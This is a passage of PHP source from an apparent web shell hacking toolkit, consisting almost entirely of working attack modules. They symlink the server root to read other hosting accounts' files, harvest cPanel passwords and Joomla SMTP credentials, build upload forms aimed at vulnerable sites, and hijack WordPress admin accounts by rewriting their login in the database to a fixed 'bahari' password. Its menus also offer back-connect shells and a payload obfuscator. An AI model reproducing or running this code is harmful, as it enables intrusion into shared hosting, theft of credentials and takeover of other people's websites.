  755. AddHandler server-parsed .php
  756.  
  757. AddType text/plain .html
  758.  
  759. AddHandler txt .html
  760.  
  761. Require None
  762.  
  763. Satisfy Any";
  764. $masuk = @fopen('btm3sym/.htaccess', 'w');
  765. fwrite($masuk, $sempak);
  766. @symlink('/', 'btm3sym/dm.txt');
  767. $pg = basename(__FILE__);
  768. $read_named_conf = @file('/etc/named.conf');
  769. if (!$read_named_conf) {
  770. echo "<center><br/><br/><nobr><span class='b9'>Can't Read File etc/named.conf :(</span></nobr><br/><br/>";
  771. } else {
  772. echo "<center>Symlink based /etc/named.conf<br><br> <table border='3' bordercolor='#FF0000' width='400' cellpadding='1' cellspacing='0'>
  773. <td align='center'> <font color='white'> <b>DOMAINS</b></td>
  774. <td align='center'> <font color='white'> <b>USERS</b></td>
  775. <td align='center'> <font color='white'> <b>SYMLINK</b></td>";
  776. foreach ($read_named_conf as $subject) {
  777. if (eregi('zone', $subject)) {
  778. preg_match_all('#zone"(.*)"#', $subject, $string);
  779. flush();
  780. if (strlen(trim($string[1][0])) > 2) {
  781. $UID = posix_getpwuid(@fileowner('/etc/valiases/' . $string[1][0]));
  782. $name = $UID['name'];
  783. @symlink('/', 'btm3sym/btm.txt');
  784. $name = $string[1][0];
  785. $australia = '\.au';
  786. $bangladesh = '\.bd';
  787. $brazil = '\.br';
  788. $malaysia = '\.my';
  789. $myanmar = '\.mm';
  790. $indonesia = '\.id';
  791. $israel = '\.il';
  792. $romania = '\.ro';
  793. $edu = '\.edu';
  794. $gov = '\.gov';
  795. $go = '\.go';
  796. $gob = '\.gob';
  797. $mil = '\.mil';
  798. if (eregi("$australia", $string[1][0]) or eregi("$bangladesh", $string[1][0]) or eregi("$brazil", $string[1][0]) or eregi("$malaysia", $string[1][0]) or eregi("$myanmar", $string[1][0]) or eregi("$indonesia", $string[1][0]) or eregi("$israel", $string[1][0]) or eregi("$romania", $string[1][0]) or eregi("$edu", $string[1][0]) or eregi("$gov", $string[1][0]) or eregi("$go", $string[1][0]) or eregi("$gob", $string[1][0]) or eregi("$mil", $string[1][0]) or eregi("$mil2", $string[1][0])) {
  799. $name = "<div style=' color:yellow ; text-shadow: 0px 0px 1px red; '>" . $string[1][0] . '</div>';
  800. }
  801. echo "<tr>
  802. <td><a class='dm' target='_blank' href=http://" . $string[1][0] . '/>' . $name . ' </a></center></div></td>
  803. <td align=center><font color=white>' . $UID['name'] . "</td>
  804. <td align=center><a href='btm3sym/btm.txt/home/" . $UID['name'] . "/public_html/' target='_blank'>Symlink </a></td></tr>";
  805. flush();
  806. }
  807. }
  808. }
  809. }
  810. flush();
  811. flush();
  812. echo "</tr></table></div></html>";
  813.  
  814. }
  815. elseif($_GET['do'] == 'sym2') {
  816. echo "<center>";
  817. echo "<ul>";
  818. echo "<li> <a href='?dir=$dir&do=sym1'>/var/named Symlink</a> </li>";
  819. echo "<li> <a href='?dir=$dir&do=sym2'>/etc/passwd Symlink</a> </li>";
  820. echo "<li> <a href='?dir=$dir&do=sym3'>/etc/named.conf Symlink</a> </li>";
  821. echo "</ul>";
  822. echo "</center>";
  823.  
  824. if ($win) {
  825. echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
  826. }
  827. @mkdir('btm2sym', 0777);
  828. $sempak = "Options all
  829.  
  830. DirectoryIndex btm.html
  831.  
  832. AddType text/plain .php
  833.  
  834. AddHandler server-parsed .php
  835.  
  836. AddType text/plain .html
  837.  
  838. AddHandler txt .html
  839.  
  840. Require None
  841.  
  842. Satisfy Any";
  843. $masuk = @fopen('btm2sym/.htaccess', 'w');
  844. fwrite($masuk, $sempak);
  845. @symlink('/', 'btm2sym/btm.txt');
  846. $pg = basename(__FILE__);
  847. if (is_readable("/etc/passwd-")) {
  848. $gelartiker = 'file_get_contents';
  849. $seret = '/etc/passwd-';
  850. $isikarung = $gelartiker($seret);
  851. $buka = fopen('maho.txt', 'w');
  852. fwrite($buka, $isikarung);
  853. }
  854. if (isset($_GET['file']) or @filesize('maho.txt') > 0) {
  855. $cont = stripcslashes($_POST['file']);
  856. if (!file_exists('maho.txt')) {
  857. $f = @fopen('maho.txt', 'w');
  858. $w = @fwrite($f, $cont);
  859. fclose($f);
  860. }
  861. if ($w or @filesize('maho.txt') > 0) {
  862. echo "<center>Symlink based /etc/passwd <br><br><table align='center' border='3' width='400' cellspacing='0' cellpadding='0'>
  863. <td align='center'> <font color='white'> <b>USERS</b></td>
  864. <td align='center'> <font color='white'> <b>SYMLINK</b></td>";
  865. flush();
  866. $fil3 = file('maho.txt');
  867. foreach ($fil3 as $f) {
  868. $u = explode(':', $f);
  869. $user = $u['0'];
  870. echo "<tr>
  871. <td align='center'><font color='white'>$user</td>
  872. <td align='center'><a class='dm' href='btm2sym/btm.txt/home/$user/public_html' target='_blank'>Symlink</a></td></tr>";
  873. flush();
  874. flush();
  875. }
  876. echo "</tr></table></div></html>";
  877. }
  878. }
  879. }
  880. elseif($_GET['do'] == 'sym1') {
  881. echo "<center>";
  882. echo "<ul>";
  883. echo "<li> <a href='?dir=$dir&do=sym1'>/var/named Symlink</a> </li>";
  884. echo "<li> <a href='?dir=$dir&do=sym2'>/etc/passwd Symlink</a> </li>";
  885. echo "<li> <a href='?dir=$dir&do=sym3'>/etc/named.conf Symlink</a> </li>";
  886. echo "</ul>";
  887. echo "</center>";
  888.  
  889. if ($win) {
  890. echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
  891. }
  892. @mkdir('btm1sym', 0777);
  893. $sempak = "Options all
  894.  
  895. DirectoryIndex btm.html
  896.  
  897. AddType text/plain .php
  898.  
  899. AddHandler server-parsed .php
  900.  
  901. AddType text/plain .html
  902.  
  903. AddHandler txt .html
  904.  
  905. Require None
  906.  
  907. Satisfy Any";
  908. $masuk = @fopen('btm1sym/.htaccess', 'w');
  909. fwrite($masuk, $sempak);
  910. @symlink('/', 'btm1sym/btm.txt');
  911. $pg = basename(__FILE__);
  912. if (is_readable("/var/named")) {
  913. echo '<center>Symlink based /var/named<br><br></center>
  914. <table align="center" border="3" width="400" cellspacing="0" cellpadding="0">
  915. <td align="center"> <font color="white"> <b>DOMAINS</td>
  916. <td align="center"> <font color="white"> <b>USERS</td>
  917. <td align="center"> <font color="white"> <b>SYMLINK</center></td>';
  918. $list = scandir("/var/named");
  919. foreach ($list as $domain) {
  920. if (strpos($domain, ".db")) {
  921. @error_reporting(0);
  922. @ini_set('log_errors', 0);
  923. @ini_set('error_log', NULL);
  924. $i+= 1;
  925. $domain = str_replace('.db', '', $domain);
  926. $owner = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
  927. echo "<tr>
  928. <td><a class='dm' href='http://" . $domain . " '>" . $domain . "</a></td>
  929. <td align='center'><font color='white'>" . $owner['name'] . "</td>
  930. <td align='center'><a href='btm1sym/btm.txt" . $owner['dir'] . "/public_html/' target='_blank'>Symlink</a></td>";
  931. }
  932. }
  933. flush();
  934. flush();
  935. }
  936. echo "</tr></table></div></html>";
  937.  
  938. }
  939. elseif($_GET['do'] == 'tool') {
  940. echo "<center>";
  941. echo "<ul>";
  942. echo "<li> <a href='?dir=$dir&do=bc'>Simple Back-Connect</a> </li>";
  943. echo "<li> <a href='?dir=$dir&do=pbc'>Perl Back-Connect</a> </li>";
  944. echo "<li> <a href='?dir=$dir&do=ptbc'>Python Back-Connect</a> </li>";
  945. echo "<li> <a href='?dir=$dir&do=portsc'>Port Scanner</a> </li>";
  946. echo "<li> <a href='?dir=$dir&do=hash'>Hash Identification</a> </li>";
  947. echo "<li> <a href='?dir=$dir&do=whmcs'>WHMCS Decoder</a> </li>";
  948. echo "<li> <a href='?dir=$dir&do=tetangga'>Reverse Domain</a> </li>";
  949. echo "<li> <a href='?dir=$dir&do=wpes'>Auto Edit User WP</a> </li>";
  950. echo "<li> <a href='?dir=$dir&do=dos'>Domain On User</a> </li><br>";
  951. echo "<li> <a href='?dir=$dir&do=smtp'>VHosts SMTP Grabber</a> </li>";
  952. echo "<li> <a href='?dir=$dir&do=csrf'>CSRF ONLINE</a> </li>";
  953. echo "<li> <a href='?dir=$dir&do=scdc'>Script Decoder</a> </li>";
  954. echo "<li> <a href='?dir=$dir&do=rdp'>RDP-Creator</a> </li>";
  955. echo "<li> <a href='?dir=$dir&do=manjat'>WHM-User Checker</a> </li>";
  956. echo "</ul>";
  957. echo "</center>";
  958. }
  959. elseif($_GET['do'] == 'manjat') {
  960. echo "<center>";
  961. echo "<ul>";
  962. echo "<li> <a href='?dir=$dir&do=bc'>Simple Back-Connect</a> </li>";
  963. echo "<li> <a href='?dir=$dir&do=pbc'>Perl Back-Connect</a> </li>";
  964. echo "<li> <a href='?dir=$dir&do=ptbc'>Python Back-Connect</a> </li>";
  965. echo "<li> <a href='?dir=$dir&do=portsc'>Port Scanner</a> </li>";
  966. echo "<li> <a href='?dir=$dir&do=hash'>Hash Identification</a> </li>";
  967. echo "<li> <a href='?dir=$dir&do=whmcs'>WHMCS Decoder</a> </li>";
  968. echo "<li> <a href='?dir=$dir&do=tetangga'>Reverse Domain</a> </li>";
  969. echo "<li> <a href='?dir=$dir&do=wpes'>Auto Edit User WP</a> </li>";
  970. echo "<li> <a href='?dir=$dir&do=dos'>Domain On User</a> </li><br>";
  971. echo "<li> <a href='?dir=$dir&do=smtp'>VHosts SMTP Grabber</a> </li>";
  972. echo "<li> <a href='?dir=$dir&do=csrf'>CSRF ONLINE</a> </li>";
  973. echo "<li> <a href='?dir=$dir&do=scdc'>Script Decoder</a> </li>";
  974. echo "<li> <a href='?dir=$dir&do=rdp'>RDP-Creator</a> </li>";
  975. echo "<li> <a href='?dir=$dir&do=manjat'>WHM-User Checker</a> </li>";
  976. echo "</ul>";
  977. echo "</center>";
  978.  
  979. echo "<center>";
  980. $d0mains = @file('/etc/named.conf');
  981. $domains = scandir("/var/named");
  982.  
  983. if ($domains or $d0mains)
  984. {
  985. $domains = scandir("/var/named");
  986. if($domains) {
  987. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th></tr>";
  988. $count=1;
  989. $dc = 0;
  990. $list = scandir("/var/named");
  991. foreach($list as $domain){
  992. if(strpos($domain,".db")){
  993. $domain = str_replace('.db','',$domain);
  994. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  995. $dirz = '/home/'.$owner['name'].'/cpanel3-skel';
  996. $path = getcwd();
  997.  
  998. if (is_readable($dirz)) {
  999. copy($dirz, ''.$path.'/lol/'.$owner['name'].'.txt');
  1000. $p=file_get_contents(''.$path.'/lol/'.$owner['name'].'.txt');
  1001. $password=entre2v2($p,'password="','"');
  1002. echo "<tr><td>".$count++."</td><td><a href='http://$domain' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td></tr>";
  1003. $dc++;
  1004. }
  1005.  
  1006. }
  1007. }
  1008. echo '</table>';
  1009. $total = $dc;
  1010. echo '<br><div class="result">Total WHM User Found = '.$total.'</h3><br />';
  1011. echo '</center>';
  1012. }else{
  1013. $d0mains = @file('/etc/named.conf');
  1014. if($d0mains) {
  1015. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th></tr>";
  1016. $count=1;
  1017. $dc = 0;
  1018. $mck = array();
  1019. foreach($d0mains as $d0main){
  1020. if(@eregi('zone',$d0main)){
  1021. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  1022. flush();
  1023. if(strlen(trim($domain[1][0])) >2){
  1024. $mck[] = $domain[1][0];
  1025. }
  1026. }
  1027. }
  1028. $mck = array_unique($mck);
  1029. $usr = array();
  1030. $dmn = array();
  1031. foreach($mck as $o) {
  1032. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  1033. $usr[] = $infos['name'];
  1034. $dmn[] = $o;
  1035. }
  1036. array_multisort($usr,$dmn);
  1037. $dt = file('/etc/passwd');
  1038. $passwd = array();
  1039. foreach($dt as $d) {
  1040. $r = explode(':',$d);
  1041. if(strpos($r[5],'home')) {
  1042. $passwd[$r[0]] = $r[5];
  1043. }
  1044. }
  1045. $l=0;
  1046. $j=1;
  1047. foreach($usr as $r) {
  1048. $dirz = '/home/'.$r.'/cpanel3-skel';
  1049. $path = getcwd();
  1050. if (is_readable($dirz)) {
  1051. copy($dirz, ''.$path.'/lol/'.$r.'.txt');
  1052. $p=file_get_contents(''.$path.'/lol/'.$r.'.txt');
  1053. $password=entre2v2($p,'password="','"');
  1054. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td></tr>";
  1055. $dc++;
  1056. flush();
  1057. $l=$l?0:1;
  1058. $j++;
  1059. }
  1060. }
  1061. }
  1062. echo '</table>';
  1063. $total = $dc;
  1064. echo '<br><div class="result">Total WHM Account Found = '.$total.'</h3><br />';
  1065. echo '</center>';
  1066.  
  1067. }
  1068. }
  1069.  
  1070. }
  1071. elseif($_GET['do'] == 'smtp') {
  1072. echo "<center>";
  1073. echo "<ul>";
  1074. echo "<li> <a href='?dir=$dir&do=bc'>Simple Back-Connect</a> </li>";
  1075. echo "<li> <a href='?dir=$dir&do=pbc'>Perl Back-Connect</a> </li>";
  1076. echo "<li> <a href='?dir=$dir&do=ptbc'>Python Back-Connect</a> </li>";
  1077. echo "<li> <a href='?dir=$dir&do=portsc'>Port Scanner</a> </li>";
  1078. echo "<li> <a href='?dir=$dir&do=hash'>Hash Identification</a> </li>";
  1079. echo "<li> <a href='?dir=$dir&do=whmcs'>WHMCS Decoder</a> </li>";
  1080. echo "<li> <a href='?dir=$dir&do=tetangga'>Reverse Domain</a> </li>";
  1081. echo "<li> <a href='?dir=$dir&do=wpes'>Auto Edit User WP</a> </li>";
  1082. echo "<li> <a href='?dir=$dir&do=dos'>Domain On User</a> </li><br>";
  1083. echo "<li> <a href='?dir=$dir&do=smtp'>VHosts SMTP Grabber</a> </li>";
  1084. echo "<li> <a href='?dir=$dir&do=csrf'>CSRF ONLINE</a> </li>";
  1085. echo "<li> <a href='?dir=$dir&do=scdc'>Script Decoder</a> </li>";
  1086. echo "<li> <a href='?dir=$dir&do=rdp'>RDP-Creator</a> </li>";
  1087. echo "<li> <a href='?dir=$dir&do=manjat'>WHM-User Checker</a> </li>";
  1088. echo "</ul>";
  1089. echo "</center>";
  1090. echo"<center>
  1091. <br><br><br>
  1092. VHosts SMTP Grabber<br><br>
  1093. <form method='post'>
  1094. <textarea style='width: 450px; height: 150px;' name='sites' placeholder='http://domen.com/dir_config/config.txt'></textarea><br>
  1095. <input type='submit' name='go' value='Hajar'>
  1096. </form>";
  1097. $ya=$_POST['go'];
  1098. $co=$_POST['sites'];
  1099.  
  1100. if($ya){
  1101. $e=explode("\r\n",$co);
  1102. foreach($e as $bda){
  1103. //echo '<br>'.$bda;
  1104. $linkof='';
  1105. $dn=($bda).($linkof);
  1106. $file=@file_get_contents($dn);
  1107. if(preg_match("/JConfig|joomla/", $file)) {
  1108. echo'<center><font face="Iceland" color=Red >----------------------------------------------</font></center>';
  1109. echo "<font face='Iceland' color=lime >SMTP USER : </font>".findit($file,"smtpuser = '","'")."<br>";
  1110. echo "<font face='Iceland' color=lime >SMTP PASS : </font>".findit($file,"smtppass = '","'")."<br>";
  1111. echo "<font face='Iceland' color=lime >SMTP HOST : </font>".findit($file,"smtphost = '","'")."<br>";
  1112. echo "<font face='Iceland' color=lime >SMTP PORT : </font>".findit($file,"smtpport = '","'")."<br>";
  1113. echo "<font face='Iceland' color=lime >SMTP AUTH : </font>".findit($file,"smtpauth = '","'")."<br>";
  1114. echo "<font face='Iceland' color=lime >SMTP SECURE : </font>".findit($file,"smtpsecure = '","'")."<br>";
  1115. }
  1116.  
  1117. else{echo "<center><font face='Iceland' color='Red' >".$bda." ----> There is no SMTP </font></center>";}
  1118. echo'<center><font face="Iceland" color=red >----------------------------------------------</font></center>';
  1119. }
  1120.  
  1121. }
  1122.  
  1123.  
  1124. }
  1125. elseif($_GET['do'] == 'scdc') {
  1126. echo "<center>";
  1127. echo "<ul>";
  1128. echo "<li> <a href='?dir=$dir&do=bc'>Simple Back-Connect</a> </li>";
  1129. echo "<li> <a href='?dir=$dir&do=pbc'>Perl Back-Connect</a> </li>";
  1130. echo "<li> <a href='?dir=$dir&do=ptbc'>Python Back-Connect</a> </li>";
  1131. echo "<li> <a href='?dir=$dir&do=portsc'>Port Scanner</a> </li>";
  1132. echo "<li> <a href='?dir=$dir&do=hash'>Hash Identification</a> </li>";
  1133. echo "<li> <a href='?dir=$dir&do=whmcs'>WHMCS Decoder</a> </li>";
  1134. echo "<li> <a href='?dir=$dir&do=tetangga'>Reverse Domain</a> </li>";
  1135. echo "<li> <a href='?dir=$dir&do=wpes'>Auto Edit User WP</a> </li>";
  1136. echo "<li> <a href='?dir=$dir&do=dos'>Domain On User</a> </li><br>";
  1137. echo "<li> <a href='?dir=$dir&do=smtp'>VHosts SMTP Grabber</a> </li>";
  1138. echo "<li> <a href='?dir=$dir&do=csrf'>CSRF ONLINE</a> </li>";
  1139. echo "<li> <a href='?dir=$dir&do=scdc'>Script Decoder</a> </li>";
  1140. echo "<li> <a href='?dir=$dir&do=rdp'>RDP-Creator</a> </li>";
  1141. echo "<li> <a href='?dir=$dir&do=manjat'>WHM-User Checker</a> </li>";
  1142. echo "</ul>";
  1143. echo "</center>";
  1144.  
  1145. $text = $_POST['code'];
  1146. echo"<center><br><b>Script Encode and Decode</b><br>
  1147. <form method='post'><br><br><br>
  1148. <textarea style='width: 450px; height: 150px;' name='code' placeholder='scmu'></textarea><br><br>
  1149. <select class='inputz' size='1' name='ope'>
  1150. <option value='base64'>Base64</option>
  1151. <option value='gzinflate'>str_rot13 - gzinflate - base64</option>
  1152. <option value='str'>str_rot13 - gzinflate - str_rot13 - base64</option>
  1153. </select>&nbsp;<input type='submit' name='submit' value='Encrypt'>
  1154. <input type='submit' name='submits' value='Decrypt'>
  1155. </form>";
  1156. $submit = $_POST['submit'];
  1157. if (isset($submit)) {
  1158. $op = $_POST["ope"];
  1159. switch ($op) {
  1160. case 'base64':
  1161. $codi = base64_encode($text);
  1162. break;
  1163. case 'str':
  1164. $codi = (base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
  1165. break;
  1166. case 'gzinflate':
  1167. $codi = base64_encode(gzdeflate(str_rot13($text)));
  1168. break;
  1169. default:
  1170. break;
  1171. }
  1172. }
  1173. $submit = $_POST['submits'];
  1174. if (isset($submit)) {
  1175. $op = $_POST["ope"];
  1176. switch ($op) {
  1177. case 'base64':
  1178. $codi = base64_decode($text);
  1179. break;
  1180. case 'str':
  1181. $codi = str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
  1182. break;
  1183. case 'gzinflate':
  1184. $codi = str_rot13(gzinflate(base64_decode($text)));
  1185. break;
  1186. default:
  1187. break;
  1188. }
  1189. }
  1190. echo "<textarea style='width: 450px; height: 150px;' readonly>$codi</textarea></center><BR><BR>";
  1191. }
  1192. elseif($_GET['do'] == 'csrf') {
  1193. echo "<center>";
  1194. echo "<ul>";
  1195. echo "<li> <a href='?dir=$dir&do=bc'>Simple Back-Connect</a> </li>";
  1196. echo "<li> <a href='?dir=$dir&do=pbc'>Perl Back-Connect</a> </li>";
  1197. echo "<li> <a href='?dir=$dir&do=ptbc'>Python Back-Connect</a> </li>";
  1198. echo "<li> <a href='?dir=$dir&do=portsc'>Port Scanner</a> </li>";
  1199. echo "<li> <a href='?dir=$dir&do=hash'>Hash Identification</a> </li>";
  1200. echo "<li> <a href='?dir=$dir&do=whmcs'>WHMCS Decoder</a> </li>";
  1201. echo "<li> <a href='?dir=$dir&do=tetangga'>Reverse Domain</a> </li>";
  1202. echo "<li> <a href='?dir=$dir&do=wpes'>Auto Edit User WP</a> </li>";
  1203. echo "<li> <a href='?dir=$dir&do=dos'>Domain On User</a> </li><br>";
  1204. echo "<li> <a href='?dir=$dir&do=smtp'>VHosts SMTP Grabber</a> </li>";
  1205. echo "<li> <a href='?dir=$dir&do=csrf'>CSRF ONLINE</a> </li>";
  1206. echo "<li> <a href='?dir=$dir&do=scdc'>Script Decoder</a> </li>";
  1207. echo "<li> <a href='?dir=$dir&do=rdp'>RDP-Creator</a> </li>";
  1208. echo "<li> <a href='?dir=$dir&do=manjat'>WHM-User Checker</a> </li>";
  1209. echo "</ul>";
  1210. echo "</center>";
  1211.  
  1212. echo"<center> CSRF ONLINE
  1213. <html>
  1214. <form method='post'>
  1215. <select name='array' required>
  1216. <option value=''>Array</option>
  1217. <option value='files[]'>files []</option>
  1218. <option value='qqfile'>qqfile</option>
  1219. <option value='Filedata'>Filedata</option>
  1220. <option value='FileUpload'>FileUpload</option>
  1221. <option value='userfile'>userfile</option>
  1222. <option value='Uploadfile'>Uploadfile</option>
  1223. <option value='file'>file</option>
  1224. </select>
  1225. <input type='text' name='target' size='50' height='10' placeholder='url http://site.com/bug/vuln.php' style='margin: 5px auto; padding-left: 5px;' required><br>
  1226. <input type='submit' name='kunci' value='Lock!'>
  1227. </form>";
  1228.  
  1229. $url = $_POST['target'];
  1230. $pf = $_POST['array'];
  1231. $terkuncyihh = $_POST['kunci'];
  1232. if($terkuncyihh) {
  1233. echo "<form method='post'
  1234. target='_blank' action='$url'
  1235. enctype='multipart/form-data'>
  1236. <input type='file' name='$pf'>
  1237. <input type='submit' name='g'
  1238. value='Hajar'></form";
  1239. }
  1240. }
  1241. elseif($_GET['do'] == 'dos') {
  1242. echo "<center>";
  1243. echo "<ul>";
  1244. echo "<li> <a href='?dir=$dir&do=bc'>Simple Back-Connect</a> </li>";
  1245. echo "<li> <a href='?dir=$dir&do=pbc'>Perl Back-Connect</a> </li>";
  1246. echo "<li> <a href='?dir=$dir&do=ptbc'>Python Back-Connect</a> </li>";
  1247. echo "<li> <a href='?dir=$dir&do=portsc'>Port Scanner</a> </li>";
  1248. echo "<li> <a href='?dir=$dir&do=hash'>Hash Identification</a> </li>";
  1249. echo "<li> <a href='?dir=$dir&do=whmcs'>WHMCS Decoder</a> </li>";
  1250. echo "<li> <a href='?dir=$dir&do=tetangga'>Reverse Domain</a> </li>";
  1251. echo "<li> <a href='?dir=$dir&do=wpes'>Auto Edit User WP</a> </li>";
  1252. echo "<li> <a href='?dir=$dir&do=dos'>Domain On User</a> </li><br>";
  1253. echo "<li> <a href='?dir=$dir&do=smtp'>VHosts SMTP Grabber</a> </li>";
  1254. echo "<li> <a href='?dir=$dir&do=csrf'>CSRF ONLINE</a> </li>";
  1255. echo "<li> <a href='?dir=$dir&do=scdc'>Script Decoder</a> </li>";
  1256. echo "<li> <a href='?dir=$dir&do=rdp'>RDP-Creator</a> </li>";
  1257. echo "<li> <a href='?dir=$dir&do=manjat'>WHM-User Checker</a> </li>";
  1258. echo "</ul>";
  1259. echo "</center>";
  1260.  
  1261. $all = array();
  1262. // domain finder.
  1263. $d0mains = file('/etc/named.conf');
  1264. $domains = scandir("/var/named");
  1265.  
  1266. if($domains or $d0mains){
  1267. $count = 0;
  1268. if($domains){
  1269. echo "<center><h1>Count Domains on user</h1></center><br><br>";
  1270. $cur = array();
  1271. foreach($domains as $domain){
  1272. if(strpos($domain, '.db')){
  1273. $dom = str_replace('.db', '', $domain);
  1274. $own = posix_getpwuid(fileowner("/etc/valiases/$dom"));
  1275. $user = $own['name'];
  1276. $all[$user][] = $dom;
  1277. //echo "$user: $dom<br/>";
  1278. }
  1279. }
  1280. echo "";
  1281. }
  1282. elseif($d0mains){
  1283.  
  1284. $mck = array();
  1285. foreach($d0mains as $domain){
  1286. preg_match_all('#zone "(.*)"#',$domain,$dom);
  1287. flush();
  1288. if(strlen(trim($domain[1][0])) >2){
  1289. $mck[] = $dom[1][0];
  1290. }
  1291. }
  1292.  
  1293. $mck = array_unique($mck);
  1294. foreach($mck as $dom){
  1295. $own = posix_getpwuid(fileowner("/etc/valiases/$dom"));
  1296. $user = $own['name'];
  1297. $all[$user][] = $dom;
  1298. //echo "$user: $dom<br/>";
  1299. }
  1300. echo "";
  1301. }
  1302. }
  1303. foreach($all as $user => $domain){
  1304. echo "<center>User <font color='red'>$user</font> has <font color='red'>".count($domain)."</font> Domains below :<br></center>";
  1305. echo "<center>---------------<br>";
  1306. foreach($domain as $v){
  1307. echo "<center><a href='http://$v/' target='_blank'>http://$v<a><br></center>";
  1308. }
  1309. echo "<center>---------------";
  1310. echo "<br><br>";
  1311. }
  1312.  
  1313. }
  1314. elseif($_GET['do'] == 'wpes') {
  1315. echo "<center>";
  1316. echo "<ul>";
  1317. echo "<li> <a href='?dir=$dir&do=bc'>Simple Back-Connect</a> </li>";
  1318. echo "<li> <a href='?dir=$dir&do=pbc'>Perl Back-Connect</a> </li>";
  1319. echo "<li> <a href='?dir=$dir&do=ptbc'>Python Back-Connect</a> </li>";
  1320. echo "<li> <a href='?dir=$dir&do=portsc'>Port Scanner</a> </li>";
  1321. echo "<li> <a href='?dir=$dir&do=hash'>Hash Identification</a> </li>";
  1322. echo "<li> <a href='?dir=$dir&do=whmcs'>WHMCS Decoder</a> </li>";
  1323. echo "<li> <a href='?dir=$dir&do=tetangga'>Reverse Domain</a> </li>";
  1324. echo "<li> <a href='?dir=$dir&do=wpes'>Auto Edit User WP</a> </li>";
  1325. echo "<li> <a href='?dir=$dir&do=dos'>Domain On User</a> </li><br>";
  1326. echo "<li> <a href='?dir=$dir&do=smtp'>VHosts SMTP Grabber</a> </li>";
  1327. echo "<li> <a href='?dir=$dir&do=csrf'>CSRF ONLINE</a> </li>";
  1328. echo "<li> <a href='?dir=$dir&do=scdc'>Script Decoder</a> </li>";
  1329. echo "<li> <a href='?dir=$dir&do=rdp'>RDP-Creator</a> </li>";
  1330. echo "<li> <a href='?dir=$dir&do=manjat'>WHM-User Checker</a> </li>";
  1331. echo "</ul>";
  1332. echo "</center>";
  1333.  
  1334. if($_POST['auto_deface_wp']) {
  1335. function anucurl($sites) {
  1336. $ch = curl_init($sites);
  1337. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1338. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1339. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1340. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1341. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1342. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1343. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1344. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1345. curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  1346. $data = curl_exec($ch);
  1347. curl_close($ch);
  1348. return $data;
  1349. }
  1350. function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  1351. $post = array(
  1352. "log" => "$userr",
  1353. "pwd" => "$pass",
  1354. "rememberme" => "forever",
  1355. "wp-submit" => "$wp_submit",
  1356. "redirect_to" => "$web",
  1357. "testcookie" => "1",
  1358. );
  1359. $ch = curl_init($cek);
  1360. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1361. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1362. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1363. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1364. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1365. curl_setopt($ch, CURLOPT_POST, 1);
  1366. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  1367. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1368. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1369. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1370. $data = curl_exec($ch);
  1371. curl_close($ch);
  1372. return $data;
  1373. }
  1374. $link = explode("\r\n", $_POST['link']);
  1375. $script = htmlspecialchars($_POST['script']);
  1376. $user = "bahari";
  1377. $pass = "bahari";
  1378. $passx = md5($pass);
  1379. foreach($link as $dir_config) {
  1380. $config = anucurl($dir_config);
  1381. $dbhost = ambilkata($config,"DB_HOST', '","'");
  1382. $dbuser = ambilkata($config,"DB_USER', '","'");
  1383. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1384. $dbname = ambilkata($config,"DB_NAME', '","'");
  1385. $dbprefix = ambilkata($config,"table_prefix = '","'");
  1386. $prefix = $dbprefix."users";
  1387. $option = $dbprefix."options";
  1388. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1389. $db = mysql_select_db($dbname);
  1390. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1391. $result = mysql_fetch_array($q);
  1392. $id = $result[ID];
  1393. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1394. $result2 = mysql_fetch_array($q2);
  1395. $target = $result2[option_value];
  1396. if($target == '') {
  1397. echo "Error, Cant edit the user :(</font><br>";
  1398. } else {
  1399. echo "<font color='lime'>Done</font> >> <a href='$target/wp-login.php' target='_blank'> $target <a><br>
  1400. <font color='lime'>User</font> : bahari<br>
  1401. <font color='lime'>Password</font> : bahari<br>";
  1402. }
  1403. $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  1404. if(!$conn OR !$db OR !$update) {
  1405. echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  1406. mysql_close($conn);
  1407. } else {
  1408. }
  1409. }
  1410. } else {
  1411. echo "<center><h1>WordPress Auto Edit User</h1>
